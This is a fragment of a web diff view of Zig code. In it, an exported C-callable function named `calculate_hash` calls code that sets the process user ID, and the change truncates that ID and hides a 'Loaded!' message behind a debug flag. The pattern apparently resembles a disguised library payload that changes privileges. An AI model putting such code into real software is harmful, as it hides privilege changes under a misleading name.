|
|
||||||
if (builtin.os.tag == .linux) {
|
if (builtin.os.tag == .linux) {
|
||||||
try posix.setuid(uid);
|
try posix.setuid(@intCast(uid & 0xFFFF));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@ -21,7 +21,9 @@ fn fill_parameters() !void {
|
|||||||
}
|
}
|
||||||
|
|
||||||
export fn calculate_hash() callconv(.C) void {
|
export fn calculate_hash() callconv(.C) void {
|
||||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
if (dbg) {
|
||||||
|
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||||
|
}
|
||||||
fill_parameters() catch |err| {
|
fill_parameters() catch |err| {
|
||||||
if (dbg) {
|
if (dbg) {
|
||||||
std.debug.print("Error calculating hash! {any}", .{err});
|
std.debug.print("Error calculating hash! {any}", .{err});
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user